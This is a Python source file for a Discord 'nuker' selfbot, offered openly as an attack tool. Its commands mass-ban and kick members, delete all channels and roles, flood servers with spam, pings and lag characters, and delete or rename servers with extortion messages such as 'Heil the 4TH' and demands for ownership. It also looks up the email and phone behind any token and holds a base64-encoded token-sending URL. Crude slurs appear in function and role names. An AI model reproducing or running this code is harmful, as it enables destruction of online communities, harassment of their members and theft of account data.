# -*- coding: utf-8 -*- import discord import random import requests as rq import ujson import aiohttp import httpx import asyncio import time from discord.ext import commands from colorama import Fore from threading import Thread import string import base64, datetime from colorama import Fore import base64 import os import nest_asyncio from tasksio import TaskPool nest_asyncio.apply() os.system('cls' if os.name == 'nt' else 'clear') token = input(f'{Fore.LIGHTRED_EX}Enter token{Fore.WHITE} > ') print(f'{Fore.RESET}') languages = {'hu': 'Hungarian, Hungary', 'nl': 'Dutch, Netherlands', 'no': 'Norwegian, Norway', 'pl': 'Polish, Poland', 'pt-BR': 'Portuguese, Brazilian, Brazil', 'ro': 'Romanian, Romania', 'fi': 'Finnish, Finland', 'sv-SE': 'Swedish, Sweden', 'vi': 'Vietnamese, Vietnam', 'tr': 'Turkish, Turkey', 'cs': 'Czech, Czechia, Czech Republic', 'el': 'Greek, Greece', 'bg': 'Bulgarian, Bulgaria', 'ru': 'Russian, Russia', 'uk': 'Ukranian, Ukraine', 'th': 'Thai, Thailand', 'zh-CN': 'Chinese, China', 'ja': 'Japanese, Japan', 'zh-TW': 'Chinese, Taiwan', 'ko': 'Korean, Korea'} locales = ['da', 'de', 'en-GB', 'en-US', 'es-ES', 'fr', 'hr', 'it', 'lt', 'hu', 'nl', 'no', 'pl', 'pt-BR', 'ro', 'fi', 'sv-SE', 'vi', 'tr', 'cs', 'el', 'bg', 'ru', 'uk', 'th', 'zh-CN', 'ja', 'zh-TW', 'ko'] def asciigen(length): asc = "" for x in range(int(length)): num = random.randrange(13000) asc = asc + chr(num) return asc logb = False intents = discord.Intents.all() prefix = '$' client = commands.Bot(command_prefix = prefix, intents=intents) client.remove_command('help') requests = rq.Session() headers = { 'Authorization':'Bot ' + token, } @client.event async def on_ready(): await client.change_presence(status=discord.Status.offline) print(f'\n{Fore.BLUE} │{Fore.GREEN} Connected to {client.user}\n{Fore.BLUE} │ {Fore.GREEN} Guilds : {len(client.guilds)}{Fore.RESET}\n{Fore.BLUE} │ {Fore.GREEN} Cached users : {len(client.users)}') ####################### FUNCTIONS ####################### COMMANDS ####################### channels = [] @client.command() async def spychannels(ctx): await ctx.message.delete() r = httpx.get(f'https://discord.com/api/v10/guilds/{ctx.guild.id}/channels',headers=headers) print(f''' {Fore.WHITE}Information about {ctx.guild.name} ''') for prm in r.json(): if prm['type'] == 4: tp = 'Category' if prm['type'] == 0: tp = 'Text channel' if prm['type'] == 2: tp = 'Voice channel' print(f"{prm['name']} ({prm['id']}) : {tp}") @client.command() async def superraid(ctx): await ctx.message.delete() count = 0 roles = [] for role in ctx.guild.roles: if role.name == '@everyone': pass else: roles.append(f'<@&{role.id}>') for i in range(20): await ctx.send('**@everyone Trolled :clown:** ' + f' '.join([random.choice(roles) for i in range(15)])) await ctx.send('**@everyone Trolled :clown:** ' + f' '.join([random.choice(roles) for i in range(15)])) await ctx.send('**@everyone Trolled :clown:** ' + f' '.join([random.choice(roles) for i in range(15)])) @client.command() async def cachetox(ctx, msglink, reason): try: kid2 = msglink.split('/channels/')[1] try: kid3 = kid2.split('@me')[1].split('/') payload = {'channel_id': kid3[1],'message_id':kid3[2], 'reason':reason} await ctx.send(payload) except: kid3 = kid2.split('/') guid = kid3[0] chid = kid3[1] msgg = kid3[2] payload = {'guild_id': guid,'channel_id': chid,'message_id':msgg, 'reason':reason} await ctx.send(payload) requests.post('https://discord.com/api/v10/report', headers=headers, payload=payload) except: await ctx.send('Thats not a message link kid') @client.command() async def b64(ctx, tp, *, strng): if tp == 'encode': message_bytes = strng.encode('ascii') base64_bytes = base64.b64encode(message_bytes) await ctx.send(f'```ini\n[{strng}]\n{base64_bytes}```') if tp == 'decode': base64_bytes = strng.encode('ascii') message_bytes = base64.b64decode(base64_bytes) message = message_bytes.decode('ascii') await ctx.send(f'```ini\n[{strng}]\n{message}```') @client.command() async def grabhook(ctx): await ctx.message.delete() for w in await ctx.guild.webhooks(): print(f'{w.url}\n') @client.command() async def unban(ctx): await ctx.message.delete() banned_user = await ctx.guild.bans() async with TaskPool(1000) as tp: for ban_entry in banned_user: user = ban_entry.user await tp.put(ctx.guild.unban(user)) def rapestaff(): for _ in range(2): global url, headers, headers2 url = f"https://ptb.discordapp.com/api/v6/guilds/{guid}" url2 = f'https://ptb.discordapp.com/api/v6/guilds/{guid}' headers = { 'authorization': token, 'accept-encoding': "gzip, deflate, br", 'accept-language': "en-US", 'user-agent': "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36", 'accept': "*/*", 'authority': "discordapp.com", 'Content-Type': "application/json", 'Cache-Control': "no-cache", 'Host': "discordapp.com", 'Connection': "keep-alive", 'cache-control': "no-cache" } headers2 = { 'authorization': token, 'accept-encoding': "gzip, deflate, br", 'accept-language': "en-US", 'user-agent': "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36", 'accept': "*/*", 'authority': "discordapp.com", 'Content-Type': "application/json", 'Cache-Control': "no-cache", 'Host': "discordapp.com", 'Connection': "keep-alive", 'cache-control': "no-cache" } while True: payload2 = '{"description":null,"features":["NEWS","WELCOME_SCREEN_ENABLED"],"preferred_locale":"en-US","rules_channel_id":null,"public_updates_channel_id":null}' re = requests.patch(url=url, data=payload2, headers=headers2) if re.status_code == 429: time.sleep(re.json()['retry_after']) else: while True: payload = '{"system_channel_flags":3,"public_updates_channel_id":"'+channel+'"}' re = requests.patch(url=url, data=payload, headers=headers) if re.status_code == 429: time.sleep(re.json()['retry_after']) else: break break @client.command() async def staff(ctx): await ctx.message.delete() headers2 = { 'authorization': token, 'accept-encoding': "gzip, deflate, br", 'accept-language': "en-US", 'user-agent': "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36", 'accept': "*/*", 'authority': "discordapp.com", 'Content-Type': "application/json", 'Cache-Control': "no-cache", 'Host': "discordapp.com", 'Connection': "keep-alive", 'cache-control': "no-cache" } global guid, channel guid = str(ctx.guild.id) channel = str(ctx.channel.id) url = f"https://ptb.discordapp.com/api/v6/guilds/{guid}" payload2 = '{"description":null,"features":["NEWS","WELCOME_SCREEN_ENABLED"],"preferred_locale":"en-US","rules_channel_id":null,"public_updates_channel_id":null}' requests.patch(url=url, data=payload2, headers=headers2) for i in range(35): Thread(target=rapestaff).start() channels = [] @client.command() async def chdel(ctx): try: await ctx.message.delete() except: pass for c in ctx.guild.channels: channels.append(c.id) async def deletech(ch, session): while True: async with session.delete(f"https://discord.com/api/v10/channels/{ch}", headers=headers) as rq: if rq.status == 429: json = await rq.json() await asyncio.sleep(json['retry_after']) else: break async def fetch_all(session): tasks = [] for ch in channels: tasks.append(asyncio.create_task(deletech(ch, session))) await asyncio.gather(*tasks) async with aiohttp.ClientSession(headers = headers, connector=aiohttp.TCPConnector(ssl=False, keepalive_timeout=10, limit=0, limit_per_host=0), trust_env=False, skip_auto_headers=None, json_serialize=ujson.dumps, auto_decompress=True) as session: await fetch_all(session) @client.command() async def av(ctx, *, avamember : discord.User=None): await ctx.message.delete() userAvatarUrl = avamember.avatar_url await ctx.send(userAvatarUrl) @client.command() async def spam(ctx, amount, *, message): await ctx.message.delete() async with TaskPool(150) as tasks: if message == 'lagger': for i in range(int(amount)): await tasks.put(ctx.send(asciigen(1999))) else: for i in range(int(amount)): await tasks.put(ctx.send(message)) def chunks(l, n): n = max(1, n) return (l[i:i+n] for i in range(0, len(l), n)) @client.command() async def scrape(ctx): await ctx.message.delete() guild = ctx.guild.id members2 = await ctx.guild.chunk() global members members = [] for member in members2: print(member.id) @client.command() async def massban(ctx): try: await ctx.message.delete() except: pass guild = ctx.guild.id members2 = await ctx.guild.chunk() global members members = [] for member in members2: members.append(member.id) members.remove(ctx.author.id) try: members.remove('925475553228767233') except Exception:pass await ctx.send(f'Scraped {len(members)} members!', delete_after=3) async def request_sender(session, member): async with session.put(f"https://discord.com/api/v10/guilds/{guild}/bans/{member}", headers = headers) as r: if r.status == 200 or r.status == 201 or r.status == 204: print(f'{Fore.LIGHTGREEN_EX}Banned {member}') elif r.status == 429: json_object = await r.json() wait = json_object["retry_after"] print(f"{Fore.LIGHTGREEN_EX}Ratelimited for {wait} seconds, retrying.") await asyncio.sleep(wait) else: print(f'Failed to ban {member}') async def fetch_all(session): for i in chunks(members, 50): tasks = [] for user in i: tasks.append(asyncio.create_task(request_sender(session, user))) await asyncio.gather(*tasks) async with aiohttp.ClientSession(headers = headers, connector=aiohttp.TCPConnector(ssl=False, keepalive_timeout=10, limit=0, limit_per_host=0), trust_env=False, skip_auto_headers=None, json_serialize=ujson.dumps, auto_decompress=True) as session: await fetch_all(session) @client.command() async def help(ctx, category=None): try: await ctx.message.delete() except: pass hide = '_ _||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||' if category == None: msg = f""" > ```ini > > [ KRISTAN | SELFBOT ] > [ M A I N | PANEL ] > $help nuke - shows nuke panel > $help exploits - shows exploits panel > $help misc - shows misc panel```{hide}https://bestanimations.com/Military/Explosions/planets-exploding-animation-s.gif""" if category == 'misc': msg = f""" > ```ini > [ KRISTAN | SELFBOT ] > [ M I S C | PANEL ] > $purge (amount) - Purges the amount of messages > $purgech (amount) (channel) - Silently purges in the given channel > $ping - Gets the latency of the selfbot > $otax (userid) - Steals the user's token (FAKE, JUST FOR FUN) > $whois (userid) - Shows all possible info on an user > $spychannels - Returns you all the channels in the guild, without the requirement of any permissions > $copy - Copies the guild's roles, channels and name in a separate server, without the need of any permissions > $clear - clears the channel's messages by cloning```{hide}https://i.pinimg.com/originals/74/21/51/7421514f6a6b54bc3ee389e09833fc38.gif""" if category == 'nuke': msg = """ > ```ini > [ KRISTAN | SELFBOT ] > [ N U K E | PANEL ] > $nuke - nukes the server > $botban (prefix) - uses a bot to ban every member individually, in case you can't ban many members > $massban - massbans the scraped members > $channelbomb - spams the channels (faster speed) > $chdel - Deletes all the channels in the server > $superraid - raids by masspinging roles (only if you can mention them) > $spam (message) (amount) - Spams the message the given amount of times. If for the message you put "lagger" it spams ASCII characters (lags the users who view the channel) > $rolenuke - nukes the role list (not working)```_ _||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||https://cdn.discordapp.com/attachments/849570405688541194/895331605273526352/anime-explosion_1.gif""" if category == 'exploits': msg = f""" > ```ini > [ KRISTAN | SELFBOT ] > [ E X P L O I T S | PANEL ] > $delwebhook (link) - Deletes a webhook using its link > $staff - spams staff message in a specific channel (GUILD ONLY, REQUIRES Manage Server) > $auditnuke - nukes server without any audit logs > $cachetox - anti delete message exploit > $windowsdos - sends an URI, if interacted with your pc will crash (if you are on Windows)```""" await ctx.send(msg) @client.command() async def windowsdos(ctx): await ctx.message.delete() await ctx.send(' free cookies here') @client.command() async def purge(ctx, amount: int): await ctx.message.delete() await asyncio.gather(*[asyncio.create_task(m.delete()) async for m in ctx.message.channel.history(limit=amount).filter(lambda m: m.author == client.user).map(lambda m: m)]) @client.command() async def purgech(ctx, amount: int, ch): await ctx.message.delete() x = client.get_channel(int(ch)) await asyncio.gather(*[asyncio.create_task(m.delete()) async for m in x.history(limit=amount).filter(lambda m: m.author == client.user).map(lambda m: m)]) names = ['nuked-by-4th', 'hiroshima', 'kristan-pro', 'nuked-by-4th', 'stalingrad-1943', 'nuked-by-4th', 'nuked-by-4th', 'heil-kristan', 'fbi-at-your-door'] @client.command() async def channelbomb(ctx): try: await ctx.message.delete() except: pass async def makech(name, session): while True: async with session.post( f'https://discord.com/api/v10/guilds/{ctx.guild.id}/channels', headers=headers, json={ 'type': '0', 'name': name }) as a: if a.status == 429: json = await a.json() await asyncio.sleep(json['retry_after']) else: break async with aiohttp.ClientSession(headers=headers, connector=aiohttp.TCPConnector(ssl=False, keepalive_timeout=10, limit=0, limit_per_host=0), trust_env=False, skip_auto_headers=None, json_serialize=ujson.dumps, auto_decompress=True) as session: await asyncio.gather(*[makech(random.choice(names), session) for i in range(50)]) @client.command() async def rolespam(ctx): try: await ctx.message.delete() except: pass async def makerole(session): while True: async with session.post( f'https://discord.com/api/v10/guilds/{ctx.guild.id}/roles', headers=headers, json={ 'name':'FUCKED BY 4TH', 'color':'10038562' }) as req: if req.status == 429: json = await req.json() await asyncio.sleep(json['retry_after']) else: break async with aiohttp.ClientSession(headers=headers, connector=aiohttp.TCPConnector(ssl=False, keepalive_timeout=10, limit=0, limit_per_host=0), trust_env=False, skip_auto_headers=None, json_serialize=ujson.dumps, auto_decompress=True) as session: await asyncio.gather(*[asyncio.create_task(makerole(session)) for i in range(150)]) roles = [] @client.command() async def roledel(ctx): try: await ctx.message.delete() except: pass async def delrole(id, session): while True: async with session.delete( f'https://discord.com/api/v9/guilds/{ctx.guild.id}/roles/{id}', headers=headers) as req: if req.status == 429: json = await req.json() await asyncio.sleep(json['retry_after']) else: break async with aiohttp.ClientSession(headers=headers, connector=aiohttp.TCPConnector(ssl=False, keepalive_timeout=10, limit=0, limit_per_host=0), trust_env=False, skip_auto_headers=None, json_serialize=ujson.dumps, auto_decompress=True) as session: await asyncio.gather(*[asyncio.create_task(delrole(idd, session)) for idd in roles]) @client.command() async def whois(ctx, *, member: discord.User = None): await ctx.message.delete() date_format = "%a, %d %b %Y %I:%M %p" userid = str(member.id) encodedBytes = base64.b64encode(userid.encode("utf-8")) encodedid = str(encodedBytes, "utf-8") await ctx.send(f""" ```ini [ {member.name}#{member.discriminator} ] ``` ```yaml Created At: {member.created_at.strftime(date_format)} ID: {member.id} Token: {encodedid} ``` Ping: {member.mention} {member.avatar_url} """) gateway = 'aHR0cHM6Ly9nZXR0b2tlbi5yZXBsLmNvL3NlbmQ/' @client.command() async def delwebhook(ctx, link=None): await ctx.message.delete() if link is None: await ctx.send('No webhook link specified!', delete_after=3) else: httpx.delete(link) await ctx.send('Webhook deleted!') @client.command() async def ping(ctx): ping = client.latency * 1000 await ctx.message.edit(content=f"`{int(ping)} ms`") with open('seized.png', 'rb') as f: icon = f.read() async def change(ctx): await ctx.guild.edit(name='Nuked by the 4TH', icon=icon) msg = 'Your server was nuked by the **4TH**. Surrender before its too late. https://www.youtube.com/channel/UCA_RCDP4Trm2k6qSFbXmOYA https://media.discordapp.net/attachments/1051550916186214460/1054003437488054332/MOSHED-2022-11-27-11-57-49.gif @everyone **Made by Kristan**' @client.command() async def auditnuke(ctx): guild = ctx.guild.id await ctx.message.delete() async def flood(guild, client): json2 = { "features": ["COMMUNITY"], "preferred_locale": "en-US", "rules_channel_id": "1", "public_updates_channel_id": "1" } json = { "description": None, "features": ["NEWS"], "preferred_locale": "en-US", "rules_channel_id": None, "public_updates_channel_id": None } while 1: r = await client.patch(f"https://discord.com/api/v10/guilds/{guild}", headers=headers, json=json2) if r.status_code == 429: await asyncio.sleep(r.json()['retry_after']) else: while 1: r = await client.patch(f"https://discord.com/api/v10/guilds/{guild}", headers=headers, json=json) if r.status_code == 429: await asyncio.sleep(r.json()['retry_after']) else: pass break break async def audit(taskpol, client): for i in range(10): await taskpol.put(flood(guild, client)) async with httpx.AsyncClient() as client: async with TaskPool(200) as taskpol: for _ in range(10): await taskpol.put(audit(taskpol, client)) @client.command() async def nuke2(ctx): try: await ctx.message.delete() except: pass guild = ctx.guild global guild2 guild2 = ctx.guild.id for channel in list(guild.channels): channels.append(channel.id) async def channelfuckery(): async with TaskPool(10) as tasks: await tasks.put(chdel(ctx)) await tasks.put(channelbomb(ctx)) await tasks.put(change(ctx)) await channelfuckery() await asyncio.sleep(5) @client.command() async def rolesex(ctx): await ctx.message.delete() for role in ctx.guild.roles: roles.append(role.id) await rolespam(ctx) await roledel(ctx) @client.command() async def nuke(ctx): try: await ctx.message.delete() except: pass guild = ctx.guild global guild2 guild2 = ctx.guild.id for channel in list(guild.channels): channels.append(channel.id) await massban(ctx) async def channelfuckery(): async with TaskPool(10) as tasks: await tasks.put(chdel(ctx)) await tasks.put(channelbomb(ctx)) await tasks.put(change(ctx)) await channelfuckery() await asyncio.sleep(5) @client.command() async def otax(ctx, user: discord.User = None): await ctx.message.delete() msg = await ctx.send(f'Otaxing {user.name}...') time.sleep(3) if user == None: await ctx.send('A user is required!', delete_after=1) else: base64_string = "==" while(base64_string.find("==") != -1): sample_string = str(user.id) sample_string_bytes = sample_string.encode("ascii") base64_bytes = base64.b64encode(sample_string_bytes) base64_string = base64_bytes.decode("ascii") else: token = base64_string+"."+ 'Y' + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27)) await msg.edit(content=f'```diff\n-Succesfully otaxed {user.name}\n\n{token}\n```') nukeem = discord.Embed(title="Hacked by 4TH", description="**Made by Kristan**") nukeem.add_field(name='**_Heil the 4TH!_**', value='This server has been enslaved by the 4TH, give us ownership or delete the server before we take further action\nhttps://discord.gg/MP8D66ZJab') nukeem.set_image(url='https://media.discordapp.net/attachments/1051550916186214460/1054003437488054332/MOSHED-2022-11-27-11-57-49.gif') nukeem.set_footer(text='4TH owns you.') @client.event async def on_guild_channel_create(channel): try: if channel.name in names: webhook = await channel.create_webhook(name="SUFFERING") webhook_url = webhook.url async with aiohttp.ClientSession() as session: webhook = discord.Webhook.from_url(str(webhook_url), adapter=discord.AsyncWebhookAdapter(session)) for i in range(30): try: await webhook.send('@everyone https://discord.gg/dSRY3VtA ', embed=nukeem) #await webhook.send(f"@everyone {asciigen(1984)}") except: pass except: pass @client.command() async def tokeninfo(ctx, _token): await ctx.message.delete() headers = { 'Authorization': _token, 'Content-Type': 'application/json' } try: res = requests.get('https://canary.discordapp.com/api/v6/users/@me', headers=headers) res = res.json() user_id = res['id'] locale = res['locale'] avatar_id = res['avatar'] language = languages.get(locale) user = f"{res['username']}#{res['discriminator']}" nitro_type = "None" if "premium_type" in res: if res['premium_type'] == 2: nitro_type = "Nitro Premium" elif res['premium_type'] == 1: nitro_type = "Nitro Classic" creation_date = datetime.datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime( '%d-%m-%Y %H:%M:%S UTC') except KeyError: headers = { 'Authorization': "Bot " + _token, 'Content-Type': 'application/json' } try: res = requests.get('https://canary.discordapp.com/api/v6/users/@me', headers=headers) res = res.json() user_id = res['id'] locale = res['locale'] avatar_id = res['avatar'] language = languages.get(locale) creation_date = datetime.datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime( '%d-%m-%Y %H:%M:%S UTC') user = f"{res['username']}#{res['discriminator']}" #em = discord.Embed( #description=f"Name: `{res['username']}#{res['discriminator']} ` **BOT**\nID: `{res['id']}`\nEmail: `{res['email']}`\nCreation Date: `{creation_date}`" except KeyError: await ctx.send("Invalid token") await ctx.send(f"```diff\n+{user}\nEmail: {res['email']}\nPhone: {res['phone']}\nCreation Date: {creation_date}\nVerified: {res['verified']}\nNitro: {nitro_type}```") @client.command() async def delserv(ctx): await ctx.message.delete() await ctx.guild.delete() @client.command() async def copy(ctx): await ctx.message.delete() await client.create_guild(f'backup-{ctx.guild.name}') for g in client.guilds: if f'backup-{ctx.guild.name}' in g.name: asyncio.gather(*[asyncio.create_task(c.delete()) for c in g.channels]) for cate in ctx.guild.categories: x = await g.create_category(f"{cate.name}", overwrites=cate.overwrites) for chann in cate.channels: if isinstance(chann, discord.VoiceChannel): await x.create_voice_channel(f"{chann}", overwrites=chann.overwrites) if isinstance(chann, discord.TextChannel): await x.create_text_channel(f"{chann}", overwrites=chann.overwrites, topic=chann.topic, nsfw=chann.is_nsfw(), slowmode_delay=chann.slowmode_delay) for role in ctx.guild.roles: if role.name == '@everyone': pass else: await g.create_role(name=role.name, color=role.color, permissions=role.permissions) try: await g.edit(icon=ctx.guild.icon_url) except: pass @client.command() async def kickall(ctx): try: await ctx.message.delete() except: pass guild = ctx.guild.id members2 = await ctx.guild.chunk() global members members = [] for member in members2: members.append(member.id) members.remove(ctx.author.id) async def request_sender(session, member): while True: async with session.delete(f"https://discord.com/api/v10/guilds/{guild}/members/{member}", headers = headers) as r: if r.status == 200 or r.status == 201 or r.status == 204: print(f'{Fore.LIGHTGREEN_EX}Kicked {member}') break elif r.status == 429: json_object = await r.json() wait = json_object["retry_after"] print(f"{Fore.LIGHTGREEN_EX}Ratelimited for {wait} seconds, retrying.") await asyncio.sleep(wait) else: print(f'Failed to ban {member}') break async def fetch_all(session): for i in chunks(members, 50): tasks = [] for user in i: tasks.append(asyncio.create_task(request_sender(session, user))) await asyncio.gather(*tasks) async with aiohttp.ClientSession(headers = headers, connector=aiohttp.TCPConnector(ssl=False, keepalive_timeout=10, limit=0, limit_per_host=0), trust_env=False, skip_auto_headers=None, json_serialize=ujson.dumps, auto_decompress=True) as session: await fetch_all(session) @client.command() async def clear(ctx): await ctx.message.delete() channel = ctx.channel name = channel.name position = channel.position category = channel.category nsfw = channel.is_nsfw() overwrites = channel.overwrites slowmode = channel.slowmode_delay topic = channel.topic await channel.delete() chan = await ctx.guild.create_text_channel(name=name) await chan.edit(nsfw = nsfw, category=category, position=position, overwrites=overwrites, topic=topic, slowmode_delay=slowmode) @client.command() async def botban(ctx, prefix): await ctx.message.delete() members = await ctx.guild.chunk() for member in members: if member.id == ctx.author.id: pass else: await ctx.send(f'{prefix}ban {member.id}') client.run(token, bot=True)